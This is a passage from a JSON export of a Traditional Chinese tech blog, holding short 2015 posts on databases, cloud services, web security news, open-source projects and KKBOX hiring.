分開放，像是以「英文」、「繁體中文」、「簡體中文」來分，看的時候不要混在一起看，這樣腦袋切換的成本會低一些。</li>\r\n\t<li>母語類的儘量訂，反正看很快。</li>\r\n\t<li>上面提到的 Hacker News Daily 訂起來每天看。</li>\r\n\t<li>有在使用的服務的官方 Blog 訂起來另外開一個 category 或是 folder 看，因為官方的語氣與一般 Blog 不太一樣，看這邊這種文章時的態度不太一樣。</li>\r\n</ul>",
    "title": "我的資訊來源"
  },
  {
    "id": "5705",
    "body": "前幾天 <a href=\"http://blog.gcos.me/\">Ant</a> 在「<a href=\"http://5xruby.kktix.cc/events/mysql-vs-pgsql\">淺入淺出 MySQL & PostgreSQL</a>」剛好有提到，結果 <a href=\"https://www.percona.com/\">Percona</a> 這兩天也丟出了這個題目，不過這邊討論的是空間的問題：「<a href=\"https://www.percona.com/blog/2015/04/03/illustrating-primary-key-models-in-innodb-and-their-impact-on-disk-usage/\">Illustrating Primary Key models in InnoDB and their impact on disk usage</a>」。\r\n\r\n一樣的作法，Primary Key 的選擇有三種：\r\n<ul>\r\n\t<li>INT + AUTO_INCREMENT</li>\r\n\t<li>BINARY(16) (Ordered UUID)</li>\r\n\t<li>CHAR(36) (Random UUID)</li>\r\n</ul>\r\n\r\n用的是 <a href=\"http://blog.jcole.us/\">Jeremy Cole</a> 的 <a href=\"http://blog.jcole.us/2014/10/02/visualizing-the-impact-of-ordered-vs-random-index-insertion-in-innodb/\">space-lsn-age-illustrate</a> 畫出 LSN 的值 (InnoDB 的 Log Sequence Number，由於嚴格遞增，可以藉由這個值知道每個 page 最新被修改的時間)：\r\n\r\n<blockquote>I then used the powerful tool innodb_space’s function space-lsn-age-illustrate  (from Jeremy Cole’s innodb_ruby project) to plot the LSN (InnoDB’s Log Sequence Number, an always-incrementing value) pages from each table that uses the different Primary Keys via ASCII colour (so hot, right?  Thanks Jeremy!!).</blockquote>\r\n\r\n測試是 INSERT-only 的 case，雖然不太能理解為什麼要用 CHAR(36) 存 UUID，而非與 BINARY(16)，但可以看出一些 pattern。\r\n\r\n有順序的 INT + AUTO_INCREMENT 與 BINARY(16) (Ordered UUID) 都可以看出層次 (一直往後寫)，而且也看得出來 BINARY(16) 比 INT 大了不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Xt7d4sB.webp\" /><img src=\"https://i.gslin.com/imgur/Xt7d4sB.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KaKywG7.webp\" /><img src=\"https://i.gslin.com/imgur/KaKywG7.jpg\" alt=\"\" /></picture>\r\n\r\n而 CHAR(36) 當然是最大的，而且寫入的 i/o 也最隨機：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JZnqXp0.webp\" /><img src=\"https://i.gslin.com/imgur/JZnqXp0.jpg\" alt=\"\" /></picture>",
    "title": "InnoDB 對 Primary Key 的選擇"
  },
  {
    "id": "5708",
    "body": "在「<a href=\"http://hackaday.io/project/5083-diy-smartphone\">DIY Smartphone</a>」這邊看到用 Raspberry Pi 做出一台手機：\r\n\r\n<blockquote>DIY Smartphone using Raspberry Pi A+ Pi, Camera, PiTFT, and Adafruit FONA with custom mobile OS.</blockquote>\r\n\r\n然後 FAQ 的部份 XDDD\r\n\r\n<blockquote><strong>The thing is a inch thick! Why would you build something so useless when you can buy a cheap phone for less that can do much much more?</strong>\r\n\r\nNo reason.</blockquote>\r\n\r\n可以看到超大隻超陽春：\r\n\r\n<img src=\"https://i.gslin.com/imgur/sBrBkUb.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/1v2wfwI.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/z7q6tyi.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/foy95IT.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/wvRyxVV.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/R1eIJkR.jpg\" alt=\"\" />",
    "title": "用 Raspberry Pi 自幹一台 3G 手機..."
  },
  {
    "id": "5709",
    "body": "<a href=\"https://www.twilio.com/\">Twilio</a> 提供的服務：「<a href=\"https://www.twilio.com/lookup\">Phone Validator API to Check Numbers &amp; Look Up Carriers - Twilio</a>」。\r\n\r\n原本是透過 57016 (需付費) 或是電信業者的官網查「是否為網內」，現在可以直接查出來是哪家電信業者。像是我的手機門號是 0963 (<a href=\"http://www.cht.com.tw/\">中華電信</a>的 prefix)，但 NP 到台灣大哥大：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8ND5e6y.webp\" /><img src=\"https://i.gslin.com/imgur/8ND5e6y.jpg\" alt=\"\" /></picture>\r\n\r\n這樣就方便多了...",
    "title": "查詢門號所在的電信商 (台灣與國外的都可以查)"
  },
  {
    "id": "5710",
    "body": "在 <a href=\"https://www.fsf.org/\">FSF</a> 那邊看到「<a href=\"https://www.fsf.org/blogs/community/thousands-of-spaniards-leave-twitter-for-gnu-social\">Thousands of Spaniards leave Twitter for GNU social</a>」這邊看到 <a href=\"https://gnu.io/social/\">GNU social</a> 的計畫，才想起來很久前 <a href=\"https://www.gnu.org/\">GNU</a> 的確有發展這個東西... 這東西當初的定位像是「分散式的 <a href=\"https://twitter.com/\">Twitter</a>」。\r\n\r\n<blockquote>GNU social is the largest decentralized social network on the web.</blockquote>\r\n\r\n隨便選了個 node 註冊，我是跑到 <a href=\"https://quitter.is/\">Quitter.is</a> 上註冊，然後搜了一下，沒幾個可以看的帳號...\r\n\r\n如果不打算自己架 server，可以在「<a href=\"https://gnu.io/social/try/\">Join the federated social web</a>」這邊可以隨便找一個 node 註冊。",
    "title": "測 GNU social"
  },
  {
    "id": "5711",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elastic-file-system-shared-file-storage-for-amazon-ec2/\">Amazon Elastic File System – Shared File Storage for Amazon EC2</a>」提到了 <a href=\"https://aws.amazon.com/efs/\">Amazon Elastic File System</a> 這個新玩具：\r\n\r\n<blockquote>Amazon EFS supports the Network File System version 4 (NFSv4) protocol, so the applications and tools that you use today work seamlessly with Amazon EFS.</blockquote>\r\n\r\n居然冒出這功能，又多了個可以惡搞的工具...\r\n\r\n目前的價錢是 USD$0.30/month/GB，需要 Preview 申請。這價錢不算便宜，但比起 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的反應時間應該快不少？",
    "title": "Amazon Elastic File System：NFSv4 as a service"
  },
  {
    "id": "5714",
    "body": "前陣子 <a href=\"http://blog.gcos.me/\">ant</a> 將在 <a href=\"http://5xruby.tw/\">5xRuby</a> 演講的投影片放出來：「<a href=\"http://blog.gcos.me/2015-04-01_small-talk-about-mysql-and-postgresql.html\">技術演講：淺入淺出 MySQL &amp; PostgreSQL</a>」，另外在 kaif.io 上也有討論：「<a href=\"https://kaif.io/z/programming/debates/cMRIcWt21R\">淺入淺出 MySQL &amp; PostgreSQL // Speaker Deck</a>」。\r\n\r\n而國外剛好也有好幾篇文章都在討論 <a href=\"http://dev.mysql.com/\">MySQL</a> (InnoDB)，其中「<a href=\"http://dom.as/2015/04/09/how-innodb-lost-its-advantage/\">how innodb lost its advantage</a>」這篇講到對 InnoDB 的壓縮感到悲觀...\r\n\r\n另外 <a href=\"https://www.pinterest.com/\">Pinterest</a> 的「<a href=\"http://engineering.pinterest.com/post/116038532184/learn-to-stop-using-shiny-new-things-and-love\">Learn to stop using shiny new things and love MySQL</a>」這篇的時間點感覺上就是在回應上面某些想法。\r\n\r\n下面是我的整理 (以及想法)。\r\n\r\n<a href=\"https://dev.mysql.com/\">MySQL</a> 與 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 都是很成熟的 RDBMS。\r\n\r\n如果你對其中一種有經驗，那麼就用你熟悉的 RDBMS。如果你對兩者都有經驗，那麼你就憑自己的判斷選擇。\r\n\r\n如果都沒有經驗呢？看你身邊的人用什麼就選什麼。\r\n\r\n我在 5xRuby 時回答的比較輕鬆，但這是很實際的回答：你既然都不會用這些進階功能，那麼兩套其實對你都差不多。選一個可以問的到答案的就好。\r\n\r\n反正真的夠大的時候，拿錢出來總是有方案可以解決問題。初期把力氣花在怎麼搞定產品吧，如果你不熟悉，這通常都不是你在這個時間應該花時間去研究的問題。",
    "title": "關於要不要使用 MySQL 這件事情..."
  },
  {
    "id": "5715",
    "body": "對於現在變成 Web JS 代名詞 <a href=\"https://jquery.com/\">jQuery</a> 的誕生。\r\n\r\n<a href=\"http://ejohn.org/\">John Resig</a> (jQuery 的發明人) 的懷舊文：「<a href=\"http://ejohn.org/blog/annotated-version-of-the-original-jquery-release/\">Annotated Version of the Original jQuery Release</a>」。\r\n\r\n重點在「<a href=\"http://genius.it/ejohn.org/files/jquery-original.html\">Annotated jQuery Release</a>」裡他寫了不少註解 (以 2015 年現在的觀點來寫)，有很多感嘆啊 XDDD",
    "title": "2006 年的 jQuery 程式碼..."
  },
  {
    "id": "5716",
    "body": "出自「<a href=\"http://www.digitalmusicnews.com/permalink/2015/04/10/41-years-music-industry-change-41-seconds\">41 Years of Music Industry Change, In 41 Seconds…</a>」這篇，我這邊抓了 1984、1989、1994、1999、2004、2009、2014 七張圖出來：\r\n\r\n<img src=\"https://i.gslin.com/imgur/xBzJRkL.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/bEimpbO.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/MPAqIeY.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/z7QMEIP.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/GwAxAtl.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/pDbHaLm.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/Yl7Ub7V.jpg\" alt=\"\" />\r\n\r\n可以看出來 CD 的興衰與多元化的發展。",
    "title": "美國音樂產業的發展..."
  },
  {
    "id": "5718",
    "body": "在「<a href=\"https://blog.cloudflare.com/cloudflare-is-now-a-google-cloud-platform-technology-partner/\">CloudFlare is now a Google Cloud Platform Technology Partner</a>」這邊提到了 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 與 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 的合作，應該只有這段比較重要 (有實質意義)：\r\n\r\n<blockquote>Also, CloudFlare peers with Google in strategic locations globally, improving response times for Google Cloud Platform services.</blockquote>\r\n\r\n也就是會多拉一些 peering 讓 CloudFlare 與 Google Cloud Platform 之間變順？不過更重要的部份，也就是 CloudFlare 對 client (到使用者這端) 之間的品質一直都不太好，大多數人都只是當作免費頻寬在用...",
    "title": "CloudFlare 與 Google Cloud Platform 的合作"
  },
  {
    "id": "5719",
    "body": "剛剛看到的，應該是在 <a href=\"https://www.percona.com/\">Percona</a> 的 conference 上宣佈的：「<a href=\"https://www.percona.com/blog/2015/04/14/tokutek-now-part-of-the-percona-family/\">Tokutek now part of the Percona family</a>」、「<a href=\"https://www.percona.com/blog/2015/04/14/team-tokutek-is-proud-to-join-team-percona/\">Team Tokutek is proud to join Team Percona!</a>」。\r\n\r\n這代表之後 Percona 會大力推動 TokuDB 了...",
    "title": "Percona 買下 Tokutek (TokuDB 的公司)"
  },
  {
    "id": "5720",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 官方的公告：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/04/announcing-aws-direct-connect-for-the-china-beijing-region/\">Announcing AWS Direct Connect for the China (Beijing) Region</a>」。\r\n\r\n這代表可以拉線路進 AWS 在北京的機房直連，另外可以參考「<a href=\"https://aws.amazon.com/directconnect/partners/\">APN Partners Supporting AWS Direct Connect</a>」的表格，可以知道要找哪些人，目前北京區看起來只有 <a href=\"http://www.sinnet.com.cn/\">Sinnet</a>。",
    "title": "AWS 北京也支援 Direct Connect 了..."
  },
  {
    "id": "5721",
    "body": "<a href=\"https://www.wikimedia.org/\">維基百科</a>描述了當初沒有規劃多語系與多系統的帳號管理，而產生出來的 migrate 計畫：「<a href=\"https://blog.wikimedia.org/2015/04/14/single-user-login-for-all-wikis/\">Single-User Login provides access to all wikis</a>」。\r\n\r\n整個計畫到實作完成長達十年 (大約從 2004 年開始有想法)，接下來進入最後階段：\r\n\r\n<blockquote>This week, we will begin the process of renaming the remaining 1.46 million accounts – those which have not responded to all attempts at outreach. That process is expected to take approximately one to two weeks.</blockquote>\r\n\r\n從第一次編輯到現在也好久了啊...",
    "title": "維基百科的 Global Account 轉移計畫"
  },
  {
    "id": "5725",
    "body": "索引：\r\n<ul>\r\n\t<li>KKBOX 徵人 (Overview)</li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/20/5753/kkbox-%E5%BE%B5%E4%BA%BA%EF%BC%9A%E5%B9%B3%E5%8F%B0%E7%87%9F%E9%81%8B%E8%99%95-api-team/\">KKBOX 徵人：平台營運處 (API Team)</a></li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/21/5755/kkbox-%E5%BE%B5%E4%BA%BA%EF%BC%9A%E8%BB%9F%E9%AB%94%E9%96%8B%E7%99%BC%E4%B8%AD%E5%BF%83-i-e-client-team/\">KKBOX 徵人：軟體開發中心 (i.e. Client Team)</a></li>\r\n</ul>\r\n<hr/>\r\n\r\n下面提到的所有職缺都有在找人，有些下面說明的職缺在人力銀行上不一定會開 (招募效果不好的會暫時先關掉，再研究要怎麼改)，有興趣的可以寄信到 <code>recruit</code> at <code>kkbox.com</code> 這邊，如果只是想要問些問題的可以寄給我 <code>gslin</code> at <code>kkbox.com</code>。\r\n\r\n一般在介紹我所屬的部門時會這樣介紹：<a href=\"https://www.kkbox.com/\">KKBOX</a> 是 Client &amp; Server 架構，所以這兩塊分成兩個 team。\r\n\r\nR&amp;D 的部份，Client Team 有五個團隊，前面是正式名稱，後面「」包起來的是我習慣的分類：\r\n\r\n<ul>\r\n\t<li>Windows 開發部：Windows 應用程式開發與維護。</li>\r\n\t<li>.NET 開發部：Windows Phone (App) 程式開發與維護。</li>\r\n\t<li>Android 開發部：「Google Team」。</li>\r\n\t<li>iOS 開發部：「蘋果 Team」，包含 Mac 應用程式開發與維護。</li>\r\n\t<li>測試開發部：包括了上述的自動化測試以及手動測試。</li>\r\n</ul>\r\n\r\n我所屬的 Server Team 有三個 R&amp;D 團隊：\r\n\r\n<ul>\r\n\t<li>平台營運處：「API Team」，包括了開發與維護 KKBOX API，以及去接唱片公司的 API (像是，唱片公司會以 <a href=\"http://www.ddex.net/\">DDEX</a> 格式將音檔提供給我們)。另外 KKBOX 的各類 Infrastructure 也會與這個團隊有關，像是 Search Engine 的建制。</li>\r\n\t<li>技術開發處：「Web Team」，包括了官方網站 (<a href=\"https://www.kkbox.com/\">www.kkbox.com</a>) 以及應用程式內的 Web View 的開發與維護，另外與網站相關的技術 (像是 <a href=\"https://nodejs.org/\">Node.js</a>)。而很多使用 HTML5 技術開發的 App 也是屬於這個團隊在處理。</li>\r\n\t<li>資訊系統處：「Billing Team」，包括了 KKBOX 內部的資訊系統，以及所有與金流相關的系統。</li>\r\n</ul>\r\n\r\n然後因為我在 Server Team 打雜，所以下面全部都是針對 Server Team 的職缺在說明... (當然，Client Team 的職缺也是可以寄信到上面講的信箱)\r\n\r\n<h2>Overall</h2>\r\n\r\nR&amp;D 有兩個地點，一個在台北南港軟體園區，另外一個在高雄軟體科技園區。台北南港軟體園區是總部，目前有 250+ 人，高雄目前應該是 30+ 人。\r\n\r\n內部大多使用 <a href=\"https://php.net/\">PHP</a> 5.4+ 的環境 (大多都 PHP 5.5 了)，有幾台機器用更舊的版本，目前正在 migrate 到 5.5。\r\n\r\nPHP Framework 的部份，新的專案用 <a href=\"http://laravel.com/\">Laravel</a> 4.2，目前計畫要換到 5.0。舊一點的專案用 <a href=\"http://framework.zend.com/\">Zend Framework</a> 1.12，再舊一點的就是傳統的 PHP 了。\r\n\r\n除了 PHP 外，還有用 Java (Search Engine 這塊) 與 Node.js (Server Push 機制)，不過以 PHP 佔大多數。\r\n\r\n資料庫的部份，<a href=\"https://dev.mysql.com/\">MySQL</a> 都已經是 5.6 (<a href=\"https://www.percona.com/\">Percona</a> 的版本，有單機版與 <a href=\"https://www.percona.com/software/percona-xtradb-cluster\">PXC</a> 版本)。\r\n\r\n版本控制的部份都用 <a href=\"http://git-scm.com/\">Git</a>，最早期的專案放在 <a href=\"https://github.com/\">GitHub</a> 上，後來的專案有些放在 <a href=\"https://github.com/sitaramc/gitolite\">Gitolite</a>，最近則是在轉移到 <a href=\"https://about.gitlab.com/\">GitLab</a> 上，配合 Merge Request 用。\r\n\r\n<h2>冨樫...</h2>\r\n\r\n要詳細說明公司福利以及這三個部門的職缺，但沒什麼力氣了，先讓我冨樫一下吧，晚點再開新的文章來寫... O_O",
    "title": "KKBOX 徵人"
  },
  {
    "id": "5726",
    "body": "《<a href=\"https://zh.wikipedia.org/wiki/%E7%AC%AC%E5%9B%9B%E5%85%AC%E6%B0%91\">第四公民</a>》(<a href=\"https://en.wikipedia.org/wiki/Citizenfour\">Citizenfour</a>) 這部電影描述了 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Edward Snowden</a> 在 2013 年披露<a href=\"https://zh.wikipedia.org/wiki/%E7%A8%9C%E9%8F%A1%E8%A8%88%E7%95%AB\">稜鏡計畫</a>的過程以及後續的效應，雖然是紀錄片，但整件事情還在進行發展中。\r\n\r\n以最佳紀錄片的身份橫掃 2014 與 2015 的獎項，包括了奧斯卡金像獎與英國電影學院獎：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UiE7C12.webp\" /><img src=\"https://i.gslin.com/imgur/UiE7C12.jpg\" alt=\"\" /></picture>\r\n\r\n去年在美國上映時就查過資料，但當時沒找到在台灣上映的計畫。\r\n\r\n前幾天發現沒跟上四月 11 日的 <a href=\"http://www.ghfff.org.tw/\">2015 金馬奇幻影展</a> (應該是台灣區的首映)，昨天就跑去華山看：「<a href=\"http://swfilms.pixnet.net/blog/post/33333046\">《第四公民》首週上映時刻表</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/9IPQ0vY.jpg\" alt=\"\" />\r\n\r\n紀錄片裡描述了雙方第一次會面的珍貴影像畫面，以及當時雙方溝通的細節。\r\n\r\n整部片子裡穿插了 <a href=\"https://gnupg.org/\">GnuPG</a>、<a href=\"https://tails.boum.org/\">Tails</a> 這些工具，用來保護通訊的隱私與安全。以及當你可能被 <a href=\"https://en.wikipedia.org/wiki/Advanced_persistent_threat\">APT</a> 時要保護自己的一些手段。\r\n\r\n在這個行業的人都應該去看一看這個歷史事件的紀錄片。",
    "title": "《第四公民》(Citizenfour)"
  },
  {
    "id": "5727",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard\">PCI DSS</a> 3.1 出了：「<a href=\"https://www.pcisecuritystandards.org/pdfs/15_04_15%20PCI%20DSS%203%201%20Press%20Release.pdf\">PCI COUNCIL PUBLISHES REVISION TO PCI DATA SECURITY STANDARD — PCI DSS 3.1 and supporting guidance helps organizations address vulnerabilities within SSL protocol that put payment data at risk; PA-DSS revision to follow —</a>」(PDF)。\r\n\r\n與 3.0 相比，修正了 SSL 與 TLS 的安全性問題。分成兩大塊討論，對於新的系統：\r\n\r\n<ul>\r\n\t<li>禁止使用 SSL 與早期的 TLS (包括了 TLS 1.0 與 TLS 1.1 的某些設定)。</li>\r\n</ul>\r\n\r\n而對於舊的系統：\r\n\r\n<ul>\r\n\t<li>在 2016 年 6 月 30 日後，禁止使用 SSL 與早期的 TLS。</li>\r\n\t<li>在這之前，不符合上述條件的設備必須修正到可以防禦已知的 SSL 與 TLS 問題。</li>\r\n\t<li>對於 POS (Point-of-sale) 與 POI (Point-of-interaction) 系統則是例外處理：確認可以防禦已知 SSL 與 TLS 問題的話，期限後仍然可以使用。</li>\r\n</ul>",
    "title": "PCI DSS 的更新：PCI DSS 3.1"
  },
  {
    "id": "5728",
    "body": "原先的 µBlock 改名成 <a href=\"https://github.com/gorhill/uBlock\">uBlock₀</a>，並且把 uBlock 的名字交出去給了 <a href=\"https://chrismatic.io/\">Colorado Springs</a> 的 <a href=\"https://github.com/chrisaljoudi/uBlock\">uBlock</a>。\r\n\r\n原因可以在「<a href=\"https://github.com/gorhill/uBlock/issues/38#issuecomment-91871802\">Please clarify uBlock₀ vs. uBlock</a>」這邊看到，由於這不是 full time job (他也不想要成為 full time job)，所以他決定 freeze 目前的功能，僅維持 bugfix (因為對他來說夠用了，他自己平常也在用)。\r\n\r\n依照這個原因，我的感覺是 uBlock 會成圍下一個肥大的 ABP，就乖乖留守 uBlock Origin (uBlock₀) 吧。",
    "title": "uBlock 的改版：交接後再 fork 成 uBlock Origin (uBlock₀)"
  },
  {
    "id": "5729",
    "body": "<a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> (Quick UDP Internet Connections) 是 <a href=\"https://www.google.com/\">Google</a> 發明的協定，主要是希望改善 TCP + TLS 的反應速度，目前是用來加速 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 與 Google server 之間的連線。\r\n\r\n與 SPDY 或 HTTP/2 不同的地方在於使用了 UDP，這降低了 TCP packet loss 造成的壅塞現象，以及 TCP 3-way handshake 的成本，而這兩點在行動平台上都特別明顯。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ugQ20RI.webp\" /><img src=\"https://i.gslin.com/imgur/ugQ20RI.jpg\" alt=\"\" /></picture>\r\n\r\n依照最新的說法，目前 Google Chrome 連到 Google server 大約有一半的連線會走 QUIC：「<a href=\"https://blog.chromium.org/2015/04/a-quic-update-on-googles-experimental.html\">A QUIC update on Google’s experimental transport</a>」。\r\n\r\n<blockquote>Today, roughly half of all requests from Chrome to Google servers are served over QUIC and we’re continuing to ramp up QUIC traffic, eventually making it the default transport from Google clients — both Chrome and mobile apps — to Google servers.</blockquote>\r\n\r\n而在 <a href=\"https://www.youtube.com/\">YouTube</a> 的改善也很大：\r\n\r\n<blockquote>These benefits are even more apparent for video services like YouTube. Users report 30% fewer rebuffers when watching videos over QUIC. This means less time spent staring at the spinner and more time watching videos. </blockquote>\r\n\r\n由於效果不錯，他們打算要換更多...",
    "title": "Google 的 QUIC 擴大實驗"
  },
  {
    "id": "5730",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 在德國建立機房，這是在歐洲的第三個地區建立機房 (另外兩個分別是英國與荷蘭)：「<a href=\"https://www.digitalocean.com/company/blog/introducing-our-new-european-region-frankfurt/\">Introducing Our New European Region: Frankfurt! (FRA1)</a>」。\r\n\r\n可以透過 speedtest-fra1.digitalocean.com 這個 domain 測試，有 IPv4 與 IPv6 的位置可以測，而 <a href=\"http://www.hinet.net/\">HiNet</a> 過去目前是透過美國一路轉過去，這點到是沒什麼意外。\r\n\r\n比隔壁的 <a href=\"https://www.linode.com/\">Linode</a> 快進入德國...",
    "title": "DigitalOcean 建立德國機房"
  },
  {
    "id": "5732",
    "body": "就如同標題所寫的，比以前的大了四倍：「<a href=\"https://aws.amazon.com/blogs/aws/new-g2-instance-type-with-4x-more-gpu-power/\">New G2 Instance Type with 4x More GPU Power</a>」。\r\n\r\n<a href=\"http://jeff-barr.com/\">Jeff Barr</a> 把 2013 年的公告也拿出來讓大家看一下：「<a href=\"https://aws.amazon.com/blogs/aws/build-3d-streaming-applications-with-ec2s-new-g2-instance-type/\">Build 3D Streaming Applications with EC2’s New G2 Instance Type</a>」。\r\n\r\n速度上當然是大幅改善，價錢當然也是照比例計算 XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hwwiapk.webp\" /><img src=\"https://i.gslin.com/imgur/Hwwiapk.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/15Dps26.webp\" /><img src=\"https://i.gslin.com/imgur/15Dps26.jpg\" alt=\"\" /></picture>",
    "title": "AWS 提供更大台的 GPU instance：g2.8xlarge"
  },
  {
    "id": "5733",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 針對 3TB 硬碟繼續黑 <a href=\"http://www.seagate.com/\">Seagate</a>... XDDD：「<a href=\"https://www.backblaze.com/blog/3tb-hard-drive-failure/\">CSI: Backblaze – Dissecting 3TB Drive Failure</a>」。\r\n\r\n前面的數量比較不好懂，用百分比比較容易了解：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NIOEpId.webp\" /><img src=\"https://i.gslin.com/imgur/NIOEpId.jpg\" alt=\"\" /></picture>\r\n\r\n文章裡還討論了外接或內接的情況，最後猜測的結論是，Seagate 的這個 3TB 型號的品質特別差，因為 4TB 就正常許多：\r\n\r\n<blockquote>While this particular 3TB model had a painfully high rate of failure, subsequent Seagate models such as their 4TB drive, model: ST4000DM000, are performing well with an annualized 2014 failure rate of just 2.6% as of December 31, 2014. These drives come with 3-year warranties and show no signs of hitting the wall.</blockquote>",
    "title": "Backblaze 的 3TB 硬碟故障分析"
  },
  {
    "id": "5734",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在愚人節時拿出養很久不知道做什麼的 domain 出來用：「<a href=\"https://com.google/\">https://com.google/</a>」，但也因此造成了安全性問題：「<a href=\"http://news.netcraft.com/archives/2015/04/17/googles-april-fools-prank-inadvertently-broke-their-security.html\">Google’s April Fool’s prank inadvertently broke their security</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NzNlWY6.webp\" /><img src=\"https://i.gslin.com/imgur/NzNlWY6.jpg\" alt=\"\" /></picture>\r\n\r\n問題在於正常的 Google 頁面有這個 HTTP header 可以避免 iframe (以及 clickjacking)：\r\n\r\n<pre>X-Frame-Options: SAMEORIGIN</pre>\r\n\r\n但在加上 <code>igu=2</code> 的參數後不會有這個 HTTP header。雖然現在已經失效了，但當天也被 <a href=\"http://www.netcraft.com/\">Netcraft</a> 通報 XD",
    "title": "Google 在愚人節玩笑中造成的安全問題..."
  },
  {
    "id": "5735",
    "body": "把搜尋引擎換成 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 應該差不多一個月了吧？算是脫離 <a href=\"https://www.google.com/\">Google</a> 的第一步？(連 <a href=\"https://www.apple.com/iphone/\">iPhone</a> 上的都換掉)\r\n\r\n剛開始切換過去的時候會感覺「好像搜不太到東西」，試著把關鍵字丟進 Google 找，就發現也搜不太到東西... 多幾次以後反而發現 DuckDuckGo 上面的 spam 比較少？反而找起來比較順。\r\n\r\n比較不方便的是匯率換算，以前用 Google 的時候常常打 1jpy、1usd、1eur 去看匯率啊，現在就沒辦法了。再來就是速度稍微慢一點，不過還可以接受。\r\n\r\n來看看有沒有機會換掉 <a href=\"https://mail.google.com/\">Gmail</a>，雖然我覺得難度有點高... 就邊找邊繼續用吧 :o",
    "title": "用 DuckDuckGo 一個月後的感想..."
  },
  {
    "id": "5736",
    "body": "兩個禮拜前 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 的會議記錄，討論了網域認證以及 CNNIC 的事情：「<a href=\"https://cabforum.org/2015/04/02/2015-04-02-minutes/\">Minutes of CA-Browser Forum Meeting – 2 April 2015</a>」。\r\n\r\n由於 <a href=\"https://www.us-cert.gov/\">US-CERT</a> 的關切，看起來「認證」這件事情 CA/Browser Forum 暫時不會有改善了：\r\n\r\n<blockquote>The consensus was that US-CERT was incorrect in saying the email method of domain confirmation presents a vulnerability, that no changes were required, and that the Forum did not need to make any formal response to the US-CERT advisory.</blockquote>\r\n\r\n另外是 CNNIC 的事情，也表達「甘我屁事」：\r\n\r\n<blockquote>CNNIC sub-CA issue:  The members discussed the recent CNNIC sub-CA issue, and noted that Google had recently published its response.  Gerv stated that Mozilla was about to publish its response, which would be similar to the Google response.  There was consensus that the Forum did not need to take any action.</blockquote>\r\n\r\n很官僚的會議結論...",
    "title": "CA/Browser Forum 討論網域認證與 CNNIC 的事情"
  },
  {
    "id": "5737",
    "body": "<a href=\"http://pid.codes/\">pid.codes</a> 的說明就很清楚了：「<a href=\"http://pid.codes/\">Welcome to pid.codes</a>」。\r\n\r\n由於 <a href=\"http://www.usb.org/\">USB-IF</a> 對每個 vendor 收 USD$5000，而且不可以跟其他單位共用：\r\n\r\n<blockquote>If you’re a maker, hobbyist, or startup company producing your own USB device, you’ve probably discovered that you need a USB Vendor ID and Product ID to uniquely identify your device to computers. The USB-IF’s position is that the only way to do this is for each organisation to pay $5000 for a unique Vendor ID, which they may not share with other individuals or organisations.</blockquote>\r\n\r\n所以就造成很多人惡搞 Vendor ID 與 Product ID：\r\n\r\n<blockquote>For many makers and small companies, this is a prohibitive amount of money, and forces them to resort to workarounds, such as using other organisations' VIDs without permission, or simply making up a VID and PID. These solutions make things worse for everyone, by damaging the assumption that a VID/PID combination is unique to a given device.</blockquote>\r\n\r\n而他們尋求解決方案，取得了一份在 USB-IF 禁止共用前的 Vendor ID，從而解決這個問題：\r\n\r\n<blockquote>pid.codes seeks to solve this issue for anyone producing open-source hardware. We have been gifted a Vendor ID by a company that was issued one by USB-IF and has since ceased trading; they obtained the Vendor ID before the USB-IF changed their licensing terms to prohibit transfers or subassignments.</blockquote>",
    "title": "為 Open Source Hardware 發放 USB Product ID 的 pid.codes"
  },
  {
    "id": "5738",
